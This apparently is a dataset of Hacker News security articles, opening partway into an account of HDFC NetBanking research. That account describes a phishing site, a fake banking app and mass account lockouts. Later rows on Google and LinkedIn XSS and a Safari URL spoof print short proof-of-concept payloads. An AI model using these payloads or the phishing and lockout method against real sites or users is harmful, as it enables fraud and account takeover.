2) We then setup a phishing portal for HDFC Net banking and created a fake HDFC NetBanking Mobile app and tried it on some people. In our fake HDFC mobile application and phishing portal we were able to replicate exactly same Secure Access behavior like on original HDFC website using the database of Customer IDs of NetBanking users and their secure Access image and text we had created earlier. Since our site was showing the same secure Access images and text on entering customer ids we used their security feature to provide more authentic look to our phishing website and Mobile application. The Situation was worse for fake mobile app since Mobile users could not even see the URL, setting aside any chance of doubt in mind of user. Several users trusted our phishing site and mobile app and tried to log in with their passwords.
3) Now in a third Killing step we launched denial of service attack on website the by blocking some user accounts. Since Secure Access authentication vulnerability has helped us create the database of customer ids of HDFC NetBanking users we launched another program which simple went on HDFC NetBanking website and provided customer id from our database on HDFC NetBanking login page.
As we were providing valid Customer Id's, when asked for IPIN/Password we entered it incorrectly 5 times which resulted in those customers being blocked from NetBanking. We used chain proxy to bypass time and Sequence checks but were surprised to find out that HDFC site had NONE and we were able to easily block several user accounts.
Since we were guided by ideology of ethical hacking we conducted above research on a sample data But This flaw in authentication can be easily used by anyone to generate a Database of Customer Ids of HDFC NetBanking Users and completely Block all NetBanking accounts of all HDFC NetBanking users. The same may be the used by the miscreants or competitors of HDFC bank to hold literally entire NetBanking service of HDFC bank for ransom by repeatedly blocking accounts even if they are enabled again. This vulnerability also raises a big question, Are We forgetting basic principles of Security in race of trying security solution?
x--x--x
While Speaking to "The Hacker News" ,Mr. Jiten disclosed that had shared the above vulnerability report with the HDFC Bank in February itself to provide them ample time to fix the above vulnerability. The report about lacking security on HDFC online banking website is another blow to HDFC Bank which is already facing flak for its shady deals and is currently under a Black Money investigation by Indian Government.
| Vulnerability |
'Pinkie Pie' discovered second Chrome exploit worth $60k at Pwnium 2 | https://thehackernews.com/2012/10/pinkie-pie-discovered-second-chrome.html | Hacker known as "Pinkie Pie" produced the first Chrome vulnerability at the Hack In the Box conference on Wednesday, just ahead of the deadline for the competition this afternoon.
The exploit, if later confirmed by Google's US headquarters, will have earned the teenage hacker known as Pinkie Pie the top US$60,000 cash reward.
In March, Pinkie Pie and Sergey Glazunov both won $60,000 for their exploits at the first Pwnium competition. Google established the Pwnium competition as an alternative to the Pwn2own contest in order to add the requirement that participants provide details of their exploit.
Google will give away up to a total of US$2 million during the event.
$60,000 - "Full Chrome exploit": Chrome / Win7 local OS user account persistence using only bugs in Chrome itself.
$40,000 - "Partial Chrome exploit": Chrome / Win7 local OS user account persistence using at least one bug in Chrome itself, plus other bugs. For example, a WebKit bug combined with a Windows sandbox bug.
$20,000 - "Consolation reward, Flash / Windows / other": Chrome / Win7 local OS user account persistence that does not use bugs in Chrome. For example, bugs in one or more of Flash, Windows or a driver. These exploits are not specific to Chrome and will be a threat to users of any web browser.
| Vulnerability |
Idea Cellular Web Portal Hacked, Customers Info may be exposed ! | https://thehackernews.com/2011/08/idea-cellular-web-portal-hacked.html | Idea Cellular Web Portal Hacked, Customers Info may be exposed !
Again a critical SQL Injection Vulnerability has been discovered by zSecure Team in a high profile web portal. This time it's Ideacellular web portal which compromises the entire site database. Any malicious smart black hats can create much more devastating attacks using this critical flaw such as: complete access to various database's as shown in screen-shots under proof of vulnerability which can later be misused to access various confidential information; complete database dump; possibility of uploading shell (not fully certain) and much more.
Target Website: https://www.ideacellular.com
Attack Type: Hidden SQL Injection Vulnerability
Database Type: MySql 5.0.27
Alert Level: Critical
Threats: Database Access, Database Dump
Credit: zSecure Team
Previous Vulnerability Discolsures: Dukascopy, Sify, TimesofMoney, Sharekhan
Proof of Vulnerability:
About the Company
Idea is the 3rd largest mobile services operator in India. Idea's strong growth in the Indian telephony market comes from its deep penetration in the non-urban and rural markets. IDEA Cellular is an Aditya Birla Group Company, India's first truly multinational corporation. The group operates in 26 countries, and is anchored by over 130,600 employees belonging to 40 nationalities. The Group has been adjudged the '6th Top Company for Leaders in Asia Pacific Region' in 2009, in a survey conducted by Hewitt Associates, in partnership with The RBL Group, and Fortune. The Group has also been rated 'The Best Employer in India and among the Top 20 in Asia' by the Hewitt-Economic Times and Wall Street Journal Study 2007.
Disclaimer
No data has been dumped; zSecure Team randomly tried the security of ideacellular web portal and in our very first attempt they discovered this critical flaw. Since this flaw was discovered in their very first attempt, existence of other flaws can't be denied.
Database has been accessed just to take screenshots so that they can make company believe that the aforesaid flaw actually because most of the companies use to treat the like advisories/disclosure as junk and don't believe the researcher's which may later cause them huge.
As well said zSecure Team respect the confidentiality of Ideacelluar that's why they restricted the contents of their screen-shots to database tables only. W e hope that company Ideacellular will take some immediate steps to fix-up this critical vulnerability asap.
Source
| Vulnerability |
Another Malware from Android Market infect Millions of Users | https://thehackernews.com/2012/01/another-malware-from-android-market.html | Another Malware from Android Market infect Millions of Users
Malware might have infected more than 5 million Android mobile devices via deliberately corrupted apps sold in the Android Marketplace, according to security firm Symantec. They reckoned Android.Counterclank, a slight variant of Android.Tonclank.
Symantec explains that the malicious code appears in a package called "apperhand", and a service under the same name can been seen running on the infected device when it's executed. According to Symantec, the Trojan has been identified in 13 different apps in the Android Marketplace.
Symantec's Security Response Team Director, Kevin Haley said:"They don't appear to be real publishers. There aren't rebundled apps, as we've seen so many times before." Symantec also noted that this slimy piece of malware has the highest distribution of any malware identified so far this year and may actually be the largest malware infection seen by Android users in the operating systems short life.
The malware is actually a Trojan that attacks Android smartphones. Upon installation, it collects a wide scope of data, including the handset maker and bookmark copies. Moreover, it modifies the home page of the browser. As a result, hackers have earned some money from the malware by pushing some unwanted advertisements on the compromised Android devices.One of the reasons why the malware has affected such a huge number of Android users is because they do not bother reading privacy agreements. They simply approve these apps, without even reading information on them.
Symantec stated it had notified Google of the apps hiding malicious code. However, many of the infected entries were still available on the Android Market as of Friday afternoon. For removal of the malware, Symantec is advising smartphone users to uninstall the infected applications and run a mobile antivirus program. It's time Google started taking security much more seriously.
| Malware |
Patches for 2 Severe LibreOffice Flaws Bypassed — Update to Patch Again | https://thehackernews.com/2019/08/libreoffice-patch-update.html | If you are using LibreOffice, you need to update it once again.
LibreOffice has released the latest version 6.2.6/6.3.0 of its open-source office software to address three new vulnerabilities that could allow attackers to bypass patches for two previously addressed vulnerabilities.
LibreOffice is one of the most popular and open source alternatives to Microsoft Office suite and is available for Windows, Linux and macOS systems.
One of the two vulnerabilities, tracked as CVE-2019-9848, that LibreOffice attempted to patch just last month was a code execution flaw that affected LibreLogo, a programmable turtle vector graphics script that ships by default with LibreOffice.
This flaw allows an attacker to craft a malicious document that can silently execute arbitrary python commands without displaying any warning to a targeted user.
Apparently, the patch for this vulnerability was insufficient, as The Hacker News also reported late last month, which allowed two separate security researchers to bypass the patch and re-enable the attack by exploiting two new vulnerabilities, as explained below:
CVE-2019-9850: Discovered by Alex Inführ, the vulnerability in LibreOffice exists due to insufficient URL validation that allows malicious attackers to bypass the protection added to patch CVE-2019-9848 and again trigger calling LibreLogo from script event handlers.
CVE-2019-9851: Discovered by Gabriel Masei, this flaw resides in a separate feature where documents can specify pre-installed scripts, just like LibreLogo, which can be executed on various global script events such as document-open, etc.
The patch for the second vulnerability (CVE-2018-16858) that LibreOffice released in February has successfully been bypassed, re-enabling the directory traversal attack that could allow malicious documents to execute any script from arbitrary locations on the victim's file system.
CVE-2019-9852: Discovered by Nils Emmerich of ERNW Research GmbH, a URL encoding attack could allow attackers to bypass patch for directory traversal attack.
By successfully exploiting all these three vulnerabilities, a remote attacker can silently execute malicious commands on a targeted computer by convincing the victim into just opening a maliciously-crafted document file.
LibreOffice users are highly recommended to update their office software to the latest patched version 6.2.6/6.3.0 as soon as possible in order to avoid becoming victims to any attack exploiting these vulnerabilities.
| Vulnerability |
Emotet Malware Destroys Itself From All Infected Computers | https://thehackernews.com/2021/04/emotet-malware-destroys-itself-today.html | Emotet, the notorious email-based Windows malware behind several botnet-driven spam campaigns and ransomware attacks, was automatically wiped from infected computers en masse following a European law enforcement operation.
The development comes three months after a coordinated disruption of Emotet as part of "Operation Ladybird" to seize control of servers used to run and maintain the malware network. The orchestrated effort saw at least 700 servers associated with the botnet's infrastructure neutered from the inside, thus preventing further exploitation.
Law enforcement authorities from the Netherlands, Germany, the U.S., U.K., France, Lithuania, Canada, and Ukraine were involved in the international action.
Previously, the Dutch police, which seized two central servers located in the country, said it had deployed a software update to counter the threat posed by Emotet effectively. "All infected computer systems will automatically retrieve the update there, after which the Emotet infection will be quarantined," the agency noted back in January.
This involved pushing a 32-bit payload named "EmotetLoader.dll" via the same channels that were used to distribute the original Emotet to all compromised machines. The cleanup routine, which was set to trigger itself automatically on April 25, 2021, worked by removing the malware from the device, in addition to deleting the autorun Registry key and terminating the process.
Now on Sunday, cybersecurity firm Malwarebytes confirmed that its Emotet-infected machine that had received the specially-crafted time bomb code had successfully initiated the uninstallation routine and removed itself from the Windows system.
As of writing, Abuse.ch's Feodo Tracker shows none of the Emotet servers are online. However, it remains to be seen if this "final" blow to the botnet will cause it to bounce back in the future or render it permanently inoperable, paving the way for other cybercrime actors to fill the void.
"Historically, Emotet's operators used long breaks in activity to improve their malware," Redscan researchers noted on Friday. "This means there is a realistic possibility that Emotet's operators will use this opportunity to make the loader malware even more resilient, for example, by using polymorphic techniques to counter future coordinated action. They could also use the Emotet source code to branch off and create smaller, independent botnets."
The mass action marks the second time law enforcement agencies have intervened to remove malware from compromised machines.
Earlier this month, the U.S. government took steps to remove web shell backdoors dropped by the Hafnium threat actor from Microsoft Exchange servers located in the country that were breached using ProxyLogon exploits.
Following the court-authorized operation, the Federal Bureau of Investigation said it's in the process of notifying all the organizations from which it had removed web shells, implying the intelligence agency accessed the systems without their knowledge.
| Cyber_Attack |
Cross Site Scripting (XSS) Vulnerability in Google | https://thehackernews.com/2012/01/cross-site-scripting-xss-vulnerability.html | Cross Site Scripting (XSS) Vulnerability in Google
Ucha Gobejishvili Hacker with codename "longrifle0x" discovered another Cross Site Scripting (XSS) Vulnerability in Google's Website. He already reported about the Vulnerability to Google Security Experts.
Proof of Concept:
Open https://www.google.com/a/cpanel/premier/new3?hl=en and Click Find Domain .
Put xss code: <IFRAME SRC="javascript:alert('XSS');"></IFRAME>
Another XSS Vulnerabilities Discovered by longrifle0x https://xssed.com/archive/author=longrifle0x/special=1/
| Vulnerability |
These Are The FBI's Most Wanted Hackers — Total $4.2 Million Reward | https://thehackernews.com/2015/07/fbi-most-wanted-hackers.html | The US State Department and the Federal Bureau of Investigation are willing to pay a total $4.2 Million for information leading to the arrest and/or conviction of top 5 most wanted cyber criminals accused of conducting frauds of hundreds of millions of dollars.
Evgeniy Bogachev,30; Nicolae Popescu, 34; Alexsey Belan, 28; Peteris Sahurovs, 26; and Shailesh Kumar Jain, 45; are in the list of FBI's Top 5 most-wanted hackers.
1. Evgeniy Mikhailovich Bogachev | Reward - $3 MILLION
Evgeniy Mikhailovich Bogachev, also known under the aliases "lucky12345," "Slavik," and "Pollingsoon," is the mastermind behind the GameOver Zeus botnet, which was allegedly used by criminals to infect more than 1 Million computers, resulting in up to $100 Million in losses since 2009.
Besides GameOver Zeus botnet, Bogachev is also accused of developing CryptoLocker Ransomware, which was designed to extort money from computer victims by holding their system's files hostage until the victim pays a ransom fee to get them back.
Bogachev tops the FBI target's list with $3 Million in reward for anyone giving the information leading to his direct arrest and/or conviction.
2. Nicolae Popescu | Reward - $1 Million
Nicolae Popescu, who also used the aliases Niculae Popescu, Nae Popescu, Nicolae Petrache, "Nae", and "Stoichitoiu", second topped the FBI's 5 Most-Wanted Cyber Criminals list.
This 34-year-old Romanian is accused of fooling innocent Americans with fake auction posts on several websites, including eBay, Cars.com, and AutoTrader.com, claiming to sell cars that just didn't exist.
Popescu and other criminal hackers affiliated with the scheme made more than $3 Million off the auctions, victimizing almost 800 users who handed over money for imaginary cars, Rolex watches, yachts, private airplanes, and other luxury goods.
Authorities tracked down and arrested six members of the cyber gang in late 2012, but Popescu and a partner slipped away.
3. Alexsey Belan | Reward - $100,000
Alexsey Belan, a Russian national, is wanted for allegedly stealing consumer data by compromising the cyber security systems of three unnamed major US-based e-commerce sites in Nevada and California between 2012 and 2013.
After stealing and exporting user databases with passwords to his server, Belan is accused of allegedly negotiating the sales of the databases.
4. Peteris Sahurovs | Reward - $50,000
Peteris Sahurovs is accused of developing and selling a computer virus through advertisements on news website pages. He allegedly carried out the scheme from February 2010 to September 2010.
Under the malicious scheme, the fake ads displayed on the web pages forced users to purchase fraudulent antivirus software.
In case, a user refuse to buy the software, the victim's desktop would be flooded with pop-ups and fake security alerts.
Sahurovs, a native of Latvia, made more than $2 Million by selling his "antivirus" software.
5. Shailesh Kumar Jain | Reward - $50,000
Shailesh Kumar Jain is the only American citizen on the FBI's Most Wanted Hackers list.
Jain made $100 Million between December 2006 and October 2008, according to the FBI. He used a flood of pop-up ads and email scamming to convince users that their computers were infected with a virus and then selling them the bogus AV software packages for between $30 and $70.
| Malware |
FBI Warns Conti Ransomware Hit 16 U.S. Health and Emergency Services | https://thehackernews.com/2021/05/fbi-warns-conti-ransomware-hit-16-us.html | The adversary behind Conti ransomware targeted no fewer than 16 healthcare and first responder networks in the U.S. within the past year, totally victimizing over 400 organizations worldwide, 290 of which are situated in the country.
That's according to a new flash alert issued by the U.S. Federal Bureau of Investigation (FBI) on Thursday.
"The FBI identified at least 16 Conti ransomware attacks targeting U.S. healthcare and first responder networks, including law enforcement agencies, emergency medical services, 9-1-1 dispatch centers, and municipalities within the last year," the agency said.
Ransomware attacks have worsened over the years, with recent targets as varied as state and local governments, hospitals, police departments, and critical infrastructure. Conti is one of many ransomware strains that have capitulated on that trend, commencing its operations in July 2020 as a private Ransomware-as-a-Service (RaaS), in addition to jumping on the double extortion bandwagon by launching a data leak site.
Based on an analysis published by ransomware recovery firm Coveware last month, Conti was the second most prevalent strain deployed, accounting for 10.2% of all the ransomware attacks in the first quarter of 2021.
Infections involving Conti have also breached the networks of Ireland's Health Service Executive (HSE) and Department of Health (DoH), prompting the National Cyber Security Centre (NCSC) to issue an alert of its own on May 16, stating that "there are serious impacts to health operations and some non-emergency procedures are being postponed as hospitals implement their business continuity plans."
Conti operators are known for infiltrating enterprise networks and spreading laterally using Cobalt Strike beacons prior to exploiting compromised user credentials to deploy and execute the ransomware payloads, with the encrypted files renamed with a ".FEEDC" extension. Weaponized malicious email links, attachments, or stolen Remote Desktop Protocol (RDP) credentials are some of the tactics the group used to gain an initial foothold on the target network, the FBI said.
"The actors are observed inside the victim network between four days and three weeks on average before deploying Conti ransomware," the agency noted, adding the ransom amounts are tailored to each victim, with recent demands ratcheting up to as high as $25 million.
The alert also comes amid a proliferation of ransomware incidents in recent weeks, even as extortionists continue to seek exorbitant prices from companies in hopes of landing a huge, quick payday. Insurance major CNA Financial is said to have paid $40 million, while Colonial Pipeline and Brenntag have each shelled out nearly $4.5 million to regain access to their encrypted systems.
| Malware |
Wiper, the Destructive Malware possibly connected to Stuxnet and Duqu | https://thehackernews.com/2012/09/wiper-destructive-malware-possibly.html | Kaspersky Lab publishes research resulting from the digital forensic analysis of the hard disk images obtained from the machines attacked by the Wiper - a destructive malware program attacking computer systems related to oil facilities in Western Asia.
Security researchers from Kaspersky Lab have uncovered information suggesting a possible link between the mysterious malware that attacked Iranian oil ministry computers in April and the Stuxnet and Duqu cyber espionage threats.
The malware wipes data from hard drives, placing high priority on those with a .pnf extension, which are the type of files Stuxnet and Duqu used, and has other behavioral similarities, according to Schouwenberg.
It also deletes all traces of itself. As a result, researchers have not been able to get a sample, but they've reviewed mirror images left on hard drives. Kaspersky's researchers were not able to find the mysterious malware, which was given the name Wiper, because very little data from the affected hard disk drives was recoverable.
Even though a connection to Flame is unlikely, there is some evidence suggesting that Wiper might be related to Stuxnet or Duqu.For example, on a few of the hard drives analyzed, the researchers found traces of a service called RAHDAUD64 that loaded files named ~DFXX.tmp where XX are two random digits from the C:\WINDOWS\TEMP folder.
No one has ever found a sample of Wiper in order to study its code and determine exactly what it did to machines in Iran. According to Kaspersky, the malware's algorithm is "designed to quickly destroy as many files as effectively as possible, which can include multiple gigabytes at a time."
Although Flame can be updated by its creators with various modules, including conceivably a module that would destroy data, there has never been any evidence found that Flame had a module that was used to destroy data on machines or wipe out hard drives.
| Vulnerability |
Android 4.0.4 multiple Zero-Day Vulnerabilities | https://thehackernews.com/2012/09/android-404-multiple-zero-day.html | The Samsung Galaxy S3 can be hacked via NFC, allowing attackers to download all data from the Android smartphone, security researchers demonstrated during the Mobile Pwn2Own contest in Amsterdam.
Using a pair of zero day vulnerabilities, a team of security researchers from U.K.-based MWR Labs hacked into a Samsung Galaxy S3 phone running Android 4.0.4 by beaming an exploit via NFC (Near Field Communications).
NFC is a technology that allows data to be sent over very short distances. For mobile devices, the protocol allows digital wallet applications to transfer money to pay at the register. While the technology has been slow to take off, despite the adoption by Google for its Wallet payment application, a number of recent high-profile announcements have boosted its adoption.
"Through NFC it was possible to upload a malicious file to the device, which allowed us to gain code execution on the device and subsequently get full control over the device using a second vulnerability for privilege escalation," MWR InfoSecurity said in a statement. "The same vulnerability could also be exploited through other attack vectors, such as malicious websites or e-mail attachments."
The attacker, for instance, gets access to all SMS messages, pictures, emails, contact information and much more. The payload is very advanced, so attackers can "basically do anything on that phone," the researchers said.
How this Works:
1.) The first, a memory corruption flaw, was exploited via NFC (by holding two Galaxy S 3s next to each other) to upload a malicious file, which in turn allowed the team to gain code execution on the device.
2.) The malware then exploited a second vulnerability to gain full control over the device using privilege escalation. This undermined Android's app sandbox model, allowing the attackers to install their customised version of Mercury, the company's Android assessment framework.
3.) Mercury was then used to exfiltrate user data on the device (such as contacts, emails, text messages, and pictures) to a remote listener.
Researchers also said that,"Crucially, the ASLR implementation is incomplete in Android 4.0.4, and does not cover Bionic (Android's linker) and /system/bin/app_process, which is responsible for starting applications on the device. Other protections which would make exploitation harder were also found to be absent."
MWR Labs, which won $30,000 for its hack, is planning a more technical blog post detailing the process of finding and exploiting this bug.
Also, a Dutch research Joost Pol , CEO of Certified Secure, a nine-person research outfit based in The Hague hack into Apple's iPhone 4S from scratch, exploited a WebKit vulnerability to launch a drive-by download when the target device simply surfs to a booby-trapped web site.
They used code auditing techniques to ferret out the WebKit bug and then spent most of the three weeks chaining multiple clever techniques to get a "clean, working exploit."
During the Pwn2Own attack, Pol created a web site that included an amusing animation of the Certified Secure logo taking a bite of the Apple logo. The drive-by download attack did not crash the browser so the user was oblivious to the data being uploaded to the attacker's remote server. "If this is an attack in the wild, they could embed the exploit into an ad on a big advertising network and cause some major damage."
The duo destroyed the exploit immediately after the Pwn2Own hack. "We shredded it from our machine. The story ends here, we're not going to use this again. It's time to look for a new challenge," Pol said.He provided the vulnerability and proof-of-concept code that demonstrates the risk to contest organizers at HP TippingPoint Zero Day Initiative (ZDI).
| Vulnerability |
LinkedIn with Two-factor authentication and Cross Site Scripting Flaw | https://thehackernews.com/2013/06/linkedin-with-two-factor-authentication.html | Two Factor Authentication is becoming a standard in the enterprise security space in an attempt to dually secure end users against malicious attacks.
Following Dropbox, Google and virtually everyone else, LinkedIn added two-factor authentication to its login process today.
LinkedIn will provide temporary codes for two-factor authentication through SMS messages. The extra step is designed to lessen the chances of computer hackers breaking into user accounts.
To turn on two-step verification on LinkedIn, hit the icon in the top-right corner of the site, click on "Privacy & Settings," and then on "Manage security settings" at the bottom.
The site has provided instructions to its 225 million users on how to turn on the optional service.
On other side, today @The_Pr0ph3t, whitehat Hacker from Spain reported a Cross Site Scripting Vulnerability in LinkedIn Developer site (developer.linkedin.com).
Flaw still exists on website at the time of writing, and hacker also reported the flaw to LinkedIn developer team for patch.
Proof of Concept:
https://developer.linkedin.com/search/node/%22%3E%3Csvg/onload%3Dalert%281%29%3B%3E%22%3E%3Csvg/onload%3Dalert%281%29%3B%3E
| Vulnerability |
Hackers Exploit Microsoft Browser Bug to Deploy VBA Malware on Targeted PCs | https://thehackernews.com/2021/07/hackers-exploit-microsoft-browser-bug.html | An unidentified threat actor has been exploiting a now-patched zero-day flaw in Internet Explorer browser to deliver a fully-featured VBA-based remote access trojan (RAT) capable of accessing files stored in compromised Windows systems, and downloading and executing malicious payloads as part of an "unusual" campaign.
The backdoor is distributed via a decoy document named "Manifest.docx" that loads the exploit code for the vulnerability from an embedded template, which, in turn, executes shellcode to deploy the RAT, according to cybersecurity firm Malwarebytes, which spotted the suspicious Word file on July 21, 2021.
The malware-laced document claims to be a "Manifesto of the inhabitants of Crimea" calling on the citizens to oppose Russian President Vladimir Putin and "create a unified platform called 'People's Resistance.'"
The Internet Explorer flaw, tracked as CVE-2021-26411, is notable for the fact that it was abused by the North Korea-backed Lazarus Group to target security researchers working on vulnerability research and development.
Earlier this February, South Korean cybersecurity firm ENKI revealed the state-aligned hacking collective had made an unsuccessful attempt at targeting its security researchers with malicious MHTML files that, when opened, downloaded two payloads from a remote server, one of which contained a zero-day against Internet Explorer. Microsoft addressed the issue as part of its Patch Tuesday updates for March.
The Internet Explorer exploit is one of the two ways that's used to deploy the RAT, with the other method relying on a social engineering component that involves downloading and executing a remote macro-weaponized template containing the implant. Regardless of the infection chain, the use of double attack vectors is likely an attempt to increase the likelihood of finding a path into the targeted machines.
"While both techniques rely on template injection to drop a full-featured remote access trojan, the IE exploit (CVE-2021-26411) previously used by the Lazarus APT is an unusual discovery," Malwarebytes researcher Hossein Jazi said in a report shared with The Hacker News. "The attackers may have wanted to combine social engineering and exploit to maximize their chances of infecting targets."
Besides collecting system metadata, the VBA RAT is orchestrated to identify antivirus products running on the infected host and execute commands it receives from an attacker-controlled server, including reading, deleting, and downloading arbitrary files, and exfiltrate the results of those commands back to the server.
Also discovered by Malwarebytes is a PHP-based panel nicknamed "Ekipa" that's used by the adversary to track victims and view information about the modus operandi that led to the successful breach, highlighting successful exploitation using the IE zero-day and the execution of the RAT.
"As the conflict between Russia and Ukraine over Crimea continues, cyber attacks have been increasing as well," Jazi said. "The decoy document contains a manifesto that shows a possible motive (Crimea) and target (Russian and pro-Russian individuals) behind this attack. However, it could also have been used as a false flag."
| Malware |
Pakistan Government servers messed up after security breach | https://thehackernews.com/2013/03/pakistan-government-servers-messed-up.html | Today a cyber attack on Pakistan Government servers crash many Government departments's official websites including Ministry of Information Technology, Ministry of Railways, Ministry of Economic Affairs & Statistics, Ministry of Interior, Ministry of Religious Affairs, Ministry of Science and Technology, Ministry of Environment and many more.
Indian Hacker 'Godzilla' continue to strike Pakistan Government because of their support to terrorism activities. Hacker said,"all network owned including switches because they deserve it, I have not touched any innocent website because target is only Government"
While Pakistani official are already aware about the risk from the newest viruses, worms and cyber attacks, so they having their servers running through a proxy server located at https://202.83.164.6/ ,but flawed cyber security practices once again results to messed up whole setup and hacker successfully breach into centralized local server located at 192.168.70.103 b/w website hosting server & proxy server at machine.
Hacker claimed to breach this centralized IBM server with Layer 2-3 Gigabit Ethernet Switch Module for IBM eServer, BladeCenter. This IBM server further connected to 22 local machines that were used to build the proxy server, that was securing the digital cyber space of Pakistan.
"They are running it through a local system 192.168.70.103 which is been shut down as we have access of the switch" he said.
After attack, shutdown of above server
Websites under attack:
www.moitt.gov.pk
www.railways.gov.pk
www.ead.gov.pk
www.interior.gov.pk
www.ipc.gov.pk
www.mora.gov.pk
www.establishment.gov.pk
www.housing.gov.pk
www.mosp.gov.pk
www.planningcommission.gov.pk
www.minorities.gov.pk
www.lgrd.gov.pk
www.moenv.gov.pk
More than 24 hours, the Gateway of Pakistan website (https://www.pakistan.gov.pk/) was also down because of same security breach, but official managed to recover that server after removing routing that one via same targeted proxy server.
Hacker also claimed to have access to File server of Pakistan Government. Network and server admins are working hardly to fix the issue generated after security breach, at the time of reporting this news,above listed all sites are down.
| Cyber_Attack |
Watering Hole Attack Was Used to Target Florida Water Utilities | https://thehackernews.com/2021/05/watering-hole-attack-was-used-to-target.html | An investigation undertaken in the aftermath of the Oldsmar water plant hack earlier this year has revealed that an infrastructure contractor in the U.S. state of Florida hosted malicious code on its website in what's known as a watering hole attack.
"This malicious code seemingly targeted water utilities, particularly in Florida, and more importantly, was visited by a browser from the city of Oldsmar on the same day of the poisoning event," Dragos researcher Kent Backman said in a write-up published on Tuesday.
The site, which belongs to a Florida-based general contractor involved in building water and wastewater treatment facilities, had no bearing on the intrusion, the American industrial cybersecurity firm said.
Watering hole attacks typically allow an adversary to compromise a specific group of end-users by compromising a carefully selected website, which members of that group are known to visit, with an intention to gain access to the victim's system and infect it with malware.
In this specific case, however, the infected website didn't deliver exploit code or attempt to achieve access to visitors' systems. Instead, the injected code functioned as a browser enumeration and fingerprinting script that harvested various details about the website's visitors, including operating system, CPU, browser (and plugins), input methods, presence of a camera, accelerometer, microphone, time zone, locations, video codecs, and screen dimensions.
The collected information was then exfiltrated to a database hosted on a Heroku app site (bdatac.herokuapp[.]com) that also stored the script. The app has since been taken down. Dragos suspects a vulnerable WordPress plugin may have been exploited to insert the script into the website's code.
No fewer than 1,000 end-user computers visited the infected site during the 58-day window beginning Dec. 20, 2020, before it was remediated on Feb. 16, 2021. "Those who interacted with the malicious code included computers from municipal water utility customers, state and local government agencies, various water industry-related private companies, and normal internet bot and website crawler traffic," Backman said.
"Dragos' best assessment is that an actor deployed the watering hole on the water infrastructure construction company site to collect legitimate browser data for the purpose of improving the botnet malware's ability to impersonate legitimate web browser activity," the researcher added.
Based on telemetry data gathered by the company, one among those 1,000 visits came from a computer residing in the network belonging to the City of Oldsmar on Feb. 5, the same day an unidentified adversary managed to increase sodium hydroxide dosage in the water supply to dangerous levels by remotely accessing the SCADA system at the water treatment plant.
The attackers were ultimately foiled in their attempt by an operator, who managed to catch the manipulation in real-time and restored the concentration levels to undo the damage. The unauthorized access is said to have occurred via TeamViewer remote desktop software installed on one of the plant's several computers that were connected to the control system.
The Oldsmar plant cyberattack, and more recently the Colonial Pipeline ransomware incident, have set off concerns about the potential for tampering with industrial control systems deployed in critical infrastructure, prompting the U.S. government to take steps to bolster defenses by protecting federal networks and improving information-sharing between the U.S. government and the private sector on cyber issues, among others.
"This is not a typical watering hole," Backman said. "We have medium confidence it did not directly compromise any organization. But it does represent an exposure risk to the water industry and highlights the importance of controlling access to untrusted websites, especially for Operational Technology (OT) and Industrial Control System (ICS) environments."
| Cyber_Attack |
Apple Safari Browser Vulnerable to URL Spoofing Vulnerability | https://thehackernews.com/2015/05/safari-url-spoofing.html | A serious security vulnerability has been uncovered in Apple's Safari web browser that could trick Safari users into visiting a malicious website with the genuine web address.
A group of researchers, known as Deusen, has demonstrated how the address spoofing vulnerability could be exploited by hackers to fool victim into thinking they are visiting a trusted website when actually the Safari browser is connected to an entirely different address.
This flaw could let an attacker lead Safari users to a malicious site instead of a trusted website they willing to connect to install malicious software and steal their login credentials.
The vulnerability was discovered by the same group who reported a Universal Cross Site Scripting (XSS) flaw in all the latest patched versions of Microsoft's Internet Explorer in February this year that put IE users' credentials and other sensitive information at risk.
The group recently published a proof-of-concept exploit code that makes the Safari web browser to display the Daily Mail's website (dailymail.co.uk) although the browser is displaying the contents from deusen.co.uk.
The POC works on fully patched versions of Apple's mobile operating system (iOS) as well as desktop operating system (OS X).
What's even worse?
The vulnerability could be exploited by hackers to launch highly credible phishing attacks or hijack users' accounts on any website.
Instead of Daily Mail website, a hacker could use a bank website and then inject a rogue form asking the user for private financial information.
Based on a quick analysis, the demo page appears to force Safari user to visit the daily mail URL, as you can see in the browser's user interface. The script quickly loads another URL before the page can be loaded.
The script looks like the following:
<script> function f() { location="dailymail.co.uk/home/index.htm…"+Math.random(); } setInterval("f()",10); </script>
At this point, Apple has not confirmed that whether the vulnerability is actively exploited by the cyber criminals in the wild. However, Apple has yet to comment on the issue.
| Vulnerability |
Europol Takes Down RAMNIT Botnet that Infected 3.2 Million Computers | https://thehackernews.com/2015/02/europol-takes-down-ramnit-botnet-that.html | It seems like the world has declared war against the Cyber Criminals. In a recent update, we reported that FBI is offering $3 Million in Reward for the arrest of GameOver Zeus botnet mastermind, and meanwhile British cyber-police has taken down widely-spread RAMNIT botnet.
The National Crime Agency (NCA) in a joint operation with Europol's European Cybercrime Centre (EC3) and law enforcement agencies from Germany, Italy, the Netherlands, and the United Kingdom has taken down the Ramnit "botnet", which has infected over 3.2 million computers worldwide, including 33,000 in the UK.
Alike GameOver Zeus, RAMNIT is also a 'botnet' - a network of zombie computers which operate under criminal control for malicious purposes like spreading viruses, sending out spam containing malicious links, and carrying out distributed denial of service attacks (DDoS) in order to bring down target websites.
RAMNIT believes to spread malware via trustworthy links sent through phishing emails or social networking sites, and mainly target people running Windows operating systems in order to steal money from victims bank accounts. Moreover, public FTP servers have also been found distributing the malware.
Once installed, the infected computer comes under the control of the botnet operators. The module inadvertently downloads a virus onto the victim's computer which could be used by operators to access personal or banking information, steal passwords and disable anti-virus protection.
RAMNIT SHUT-DOWN IN AN OPERATION
In a statement on Tuesday, Europol revealed that the successful take-down of Ramnit botnet involved the help of Microsoft, Symantec and AnubisNetworks. The groups shut down the botnet's command and control infrastructure and redirected traffic from a total of 300 domain addresses used by Ramnit criminal operators.
"This successful operation shows the importance of international law enforcement working together with private industry in the fight against the global threat of cybercrime," said Wil van Gemart, Europol's deputy director of operations. "We will continue our efforts in taking down botnets and disrupting the core infrastructures used by criminals to conduct a variety of cybercrimes."
NASTY FEATURES OF RAMNIT BOTNET
Symantec says that Ramnit has been around for over four years, first originating as a computer worm. According to the anti-virus firm, Ramnit is a "fully-featured cybercrime tool, featuring six standard modules that provide attackers with multiple ways to compromise a victim." The features are:
SPY MODULE - This is one of the most powerful Ramnit features, as it monitors the victim's web browsing and detects when they visit online banking sites. It can also inject itself into the victim's browser and manipulate the bank's website in such a way that it appears legitimate and easily grab victim's credit card details.
COOKIE GRABBER - This steals session cookies from web browsers and send them back to the Ramnit operators, who can then use the cookies to authenticate themselves on websites and impersonate the victim. This could allow an attacker to hijack online banking sessions.
